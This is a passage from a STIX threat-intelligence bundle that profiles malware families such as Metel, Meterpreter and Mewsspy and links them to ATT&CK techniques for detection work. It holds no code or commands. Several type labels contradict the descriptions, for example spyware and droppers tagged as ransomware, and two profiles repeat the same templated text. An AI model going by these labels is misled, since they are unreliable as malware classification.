      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Messiah exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d352c844-9ca4-5daa-92d9-4053bafed0ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82d2840c-b4f3-5daa-9427-6eb283f46a41",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Messiah exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7fbd8f9-4044-5aa6-95c5-9f8c6afbf45f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82d2840c-b4f3-5daa-9427-6eb283f46a41",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Messiah exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d5bd7c05-e225-5085-9772-216f15177014",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82d2840c-b4f3-5daa-9427-6eb283f46a41",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Messiah exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0b9e93d1-6b2d-542a-b191-9a583b5064c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Metel",
      "description": "Trojan:Win32/Metel (also known as Corkow) is a highly sophisticated, multi-stage Banking Trojan and APT-style framework that achieved massive notoriety in 2015 for executing targeted attacks directly against banking infrastructure. Unlike traditional banking trojans that target the bank's customers (e.g., via web injects), Metel targets the bank's internal network to gain control of domain controllers and internal payment processing systems, ultimately enabling massive, automated ATM cash-outs (`T1486`).<br><br><b>Understanding Metel (Bank Backend Compromise)</b><br>To an infected endpoint within a bank, Metel initially operates like a stealthy backdoor. For a financial security operations center (SOC), a Metel infection is a catastrophic event indicating a 'bank heist' in progress. The attackers use the initial infection to map the network, escalate privileges, and specifically target administrators who manage card processing or ATM networks.<br><br><b>Execution and Jackpotting Mechanics</b><br>Metel is typically introduced via spear-phishing (`T1566.001`) targeting bank employees. The initial payload is heavily obfuscated and establishes deep persistence. Once inside, the operators manually drive the infection, moving laterally (`T1021`) to locate the servers controlling ATM networks. The most notorious capability of Metel is manipulating the backend transaction processing: when money is withdrawn from an ATM using a specific card, Metel intercepts the transaction confirmation on the bank's internal network and forces the system to automatically 'rollback' the transaction balance. This allows the physical 'money mules' at the ATM to withdraw infinite cash while the account balance remains unchanged.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is multi-million dollar financial theft directly from the bank's reserves. Host-based IoCs are complex due to the bespoke nature of the attacks but often involve the presence of custom Mimikatz (`T1003.001`) modules for credential theft, and modified administrative tools (like PsExec) used for lateral movement. Network IoCs include anomalous internal traffic routing toward payment processing VLANs and unexpected administrative logins to critical financial servers from standard workstations. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Metel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/metel"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d6b80fc-471d-5a87-96cc-3f2b37ece11d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b9e93d1-6b2d-542a-b191-9a583b5064c9",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Metel exhibits technique T1486 (Data Encrypted for Impact (Often mischaracterized; primary impact is financial theft via ATM jackpotting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d9ee669-2b35-5edf-beae-880ea69211e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b9e93d1-6b2d-542a-b191-9a583b5064c9",
      "target_ref": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Metel exhibits technique T1003.001 (OS Credential Dumping: LSASS Memory (Stealing Domain Admin credentials))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0acf629-5345-5e2e-9c3d-c571d72c2c8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b9e93d1-6b2d-542a-b191-9a583b5064c9",
      "target_ref": "attack-pattern--f2e09458-77a2-5600-b8a7-231363608c16",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Metel exhibits technique T1021 (Remote Services (Lateral movement to payment servers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a85b9808-e36c-58d2-84fa-d97522d9fe46",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b9e93d1-6b2d-542a-b191-9a583b5064c9",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Metel exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--255e45b0-ec83-5ca1-9363-ff08dbf10cc6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Meterpreter",
      "description": "Meterpreter (cataloged across security vendors and threat intelligence databases under detections including HackTool:Win32/Meterpreter, Trojan:Win32/Meterpreter, and Meterpreter) is an advanced, dynamically extensible post-exploitation payload framework originating from the Metasploit Framework. Operating entirely in-memory via reflective DLL injection, Meterpreter leaves zero disk forensic footprints and avoids standard file-based antivirus signatures. It communicates over encrypted TLS/HTTPS or reverse TCP channels, providing remote penetration testers and unauthorized threat actors with comprehensive interactive control over compromised endpoints. Capabilities include memory dump extraction (Mimikatz integration for LSASS), keystroke logging, token manipulation, network route pivoting, process migration into system binaries (such as explorer.exe or svchost.exe), and executing arbitrary in-memory shellcode without spawning child processes. (Observed samples in benchmark: 78)",
      "is_family": true,
      "malware_types": [
        "exploit-kit"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool:Win32/Meterpreter",
        "Trojan:Win32/Meterpreter",
        "Meterpreter",
        "Metasploit:Meterpreter"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Meterpreter",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/meterpreter"
        }
      ],
      "labels": [
        "hacktool",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f24a2e37-5270-5ac5-b0e0-9261404f141c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--255e45b0-ec83-5ca1-9363-ff08dbf10cc6",
      "target_ref": "attack-pattern--abf165c6-7223-5077-a3ea-1854fa56e62b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Meterpreter exhibits technique T1620 (Reflective Code Loading)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--438a6205-bc20-51c3-b0ad-eb2351f7ce32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--255e45b0-ec83-5ca1-9363-ff08dbf10cc6",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Meterpreter exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84c12b3b-4993-5fd4-90c7-611d3f6997ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--255e45b0-ec83-5ca1-9363-ff08dbf10cc6",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Meterpreter exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--491deacd-1199-5790-92a9-dbc8d171a48c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--255e45b0-ec83-5ca1-9363-ff08dbf10cc6",
      "target_ref": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Meterpreter exhibits technique T1003.001 (OS Credential Dumping: LSASS Memory)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--765dc838-bc46-5ae3-9932-d7a56dcfdddd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--255e45b0-ec83-5ca1-9363-ff08dbf10cc6",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Meterpreter exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fa2b3682-ae8a-5911-8e83-f9bad2fbd44f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mewsspy",
      "description": "Spyware:Win32/Mewsspy is a covert surveillance tool designed to silently monitor user activity, harvest sensitive data, and exfiltrate it to a remote attacker. Unlike a loud ransomware infection, Mewsspy's primary goal is absolute discretion, operating in the background to steal credentials, track browsing habits, and potentially capture screenshots or keystrokes over an extended period.<br><br><b>Understanding Mewsspy</b><br>To an end-user, a Mewsspy infection is entirely invisible. There are no ransom notes or slowed system performance. For an enterprise security team, Mewsspy represents a critical breach of confidentiality. The data it steals can range from corporate intellectual property and client databases to the personal banking credentials of the infected user, which are often sold on dark web marketplaces.<br><br><b>Execution and Data Collection Mechanics</b><br>Mewsspy is typically delivered via targeted phishing campaigns (spearphishing) containing malicious attachments (`T1566.001`) or as a secondary payload dropped by an initial access broker. Upon execution, it establishes stealthy persistence, often by creating hidden scheduled tasks or modifying the Registry Run keys (`T1547.001`). Once active, Mewsspy employs various collection techniques: it may hook keyboard APIs to capture keystrokes (`T1056.001`), read the system clipboard (`T1115`), query the registry and browser databases to extract saved passwords and cookies (`T1555.003`), or periodically capture the screen (`T1113`). The harvested data is typically encrypted and temporarily staged on the local disk before being exfiltrated to a Command and Control (C2) server over HTTP/HTTPS (`T1048`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is severe data loss and privacy violation. Host-based IoCs include EDR alerts for suspicious API hooking (e.g., `SetWindowsHookEx`), unexpected processes accessing browser credential databases (`Login Data`), or the creation of obfuscated log files in the `%Temp%` directory. Network IoCs involve regular, encrypted beaconing to unknown external IP addresses, particularly when the user is actively typing or browsing. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mewsspy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mewsspy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40e706a1-a78f-5892-a410-c0a595abce9e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa2b3682-ae8a-5911-8e83-f9bad2fbd44f",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mewsspy exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2c99c8f-0856-5c69-9323-f51374051066",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa2b3682-ae8a-5911-8e83-f9bad2fbd44f",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mewsspy exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92111e5d-3833-5214-9d6b-11c9667692ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa2b3682-ae8a-5911-8e83-f9bad2fbd44f",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mewsspy exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--96a1abbf-2d31-5ece-9415-dce42dc42d41",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fa2b3682-ae8a-5911-8e83-f9bad2fbd44f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mewsspy exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b8dfe52c-50b5-5658-8039-a2b1846f891a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mezzo",
      "description": "Trojan:Win32/Mezzo is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Mezzo</b><br>To an end-user, a Mezzo infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Mezzo is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Mezzo is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Mezzo frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Mezzo reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mezzo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mezzo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--859aee79-aad0-5b43-986b-4eee10de2377",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8dfe52c-50b5-5658-8039-a2b1846f891a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mezzo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2f6583a-7f04-574c-8ac8-f1cb878261ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8dfe52c-50b5-5658-8039-a2b1846f891a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mezzo exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--80c293b7-286a-5188-9251-02c3f013a896",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8dfe52c-50b5-5658-8039-a2b1846f891a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mezzo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9bf27c57-766a-5bf3-b445-74309aaa7c0b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8dfe52c-50b5-5658-8039-a2b1846f891a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mezzo exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--07ce4362-5bf1-5db7-8aa8-0e35b00915d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8dfe52c-50b5-5658-8039-a2b1846f891a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mezzo exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--57b5109d-3ba1-55ea-8577-b4fbc763464c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mi0Ax8Mhb4Ji",
      "description": "<h3>Executive Summary</h3>\nMI0AX8MHB4JI is an automated, signature-based detection name used by security engines to identify a highly obfuscated, randomly generated Trojan dropper or downloader. The non-sensical, randomized naming convention strongly indicates that this executable was generated dynamically by a malware \"crypter\" or packer service. These services are specifically designed by threat actors to generate unique file hashes on every deployment, explicitly to evade static, signature-based antivirus solutions.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nHighly randomized executables like this are the hallmark of massive, automated cybercriminal distribution networks. They are typically encountered as malicious email attachments (often disguised as invoices or shipping receipts) or delivered silently via drive-by downloads when a user visits a compromised website hosting an exploit kit.\n\nUpon execution, the malware's primary function is deployment and evasion:\n<ul>\n<li><strong>In-Memory Evasion:</strong> The executable acts as a heavily encrypted shell. When run, it decrypts its core malicious payload and injects it directly into the memory space of a trusted, built-in Windows process (like `explorer.exe` or `svchost.exe`). This technique, known as Process Hollowing, prevents traditional antivirus from scanning the decrypted payload on the hard drive.</li>\n<li><strong>C2 Beaconing:</strong> Once active in memory, the Trojan \"beacons\" out to a Command and Control (C2) server to signal a successful compromise and request further instructions.</li>\n<li><strong>Payload Dropping:</strong> The ultimate purpose of this initial Trojan is to download and install a secondary, more specialized malware payload, such as a banking Trojan, a cryptocurrency miner, or enterprise ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of MI0AX8MHB4JI is a critical incident. It signifies that a sophisticated, evasion-focused threat has bypassed initial network defenses and is actively attempting to deploy a severe secondary payload onto the compromised endpoint.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> The endpoint must be disconnected from the corporate network immediately to prevent the successful download of the secondary payload and to halt any potential lateral movement.</li>\n<li><strong>EDR Triage:</strong> Security analysts must utilize Endpoint Detection and Response (EDR) to trace the execution tree of the randomized executable. Identifying any child processes spawned or anomalous network connections made is critical to determining the scope of the breach.</li>\n<li><strong>Total Re-imaging:</strong> Because these trojans rely heavily on process injection and deep system hooking, attempting to \"clean\" the machine manually is highly risky. A complete bare-metal wipe and re-image from a trusted baseline is required.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Obfuscated.Gen",
        "Dropper.RandomName",
        "Win32/Trojan.Packer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mi0Ax8Mhb4Ji",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mi0ax8mhb4ji"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c5b18637-6811-5ce4-a03a-c2c9d0eea875",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57b5109d-3ba1-55ea-8577-b4fbc763464c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mi0Ax8Mhb4Ji exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d03e3a03-c9f7-5b68-942c-ccdd946cdfa3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57b5109d-3ba1-55ea-8577-b4fbc763464c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mi0Ax8Mhb4Ji exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e65f0d8-f2fb-5d4f-8b77-15c3e5f35bd3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57b5109d-3ba1-55ea-8577-b4fbc763464c",
      "target_ref": "attack-pattern--cfa68380-6a50-515d-86b2-2791a2479e2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mi0Ax8Mhb4Ji exhibits technique T1055.002 (Process Injection: Portable Executable Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--82b740ad-d5e1-5749-a2a4-c3b1b18c3ae5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Miancha",
      "description": "Trojan:Win32/Miancha is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Miancha</b><br>To an end-user, a Miancha infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Miancha is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Miancha is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Miancha frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Miancha reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Miancha",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/miancha"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2b84320-d61e-5aac-9c34-4bef58333e2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82b740ad-d5e1-5749-a2a4-c3b1b18c3ae5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Miancha exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--524201c1-308a-5751-ad4e-fc1709582740",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82b740ad-d5e1-5749-a2a4-c3b1b18c3ae5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Miancha exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e0cb320-7080-527e-87ae-9b616fab1852",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82b740ad-d5e1-5749-a2a4-c3b1b18c3ae5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Miancha exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8fedab4-3de1-53fc-9649-cf836f7dc5f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82b740ad-d5e1-5749-a2a4-c3b1b18c3ae5",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Miancha exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc960a47-3a9d-544d-b289-2e3ba46ea3a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
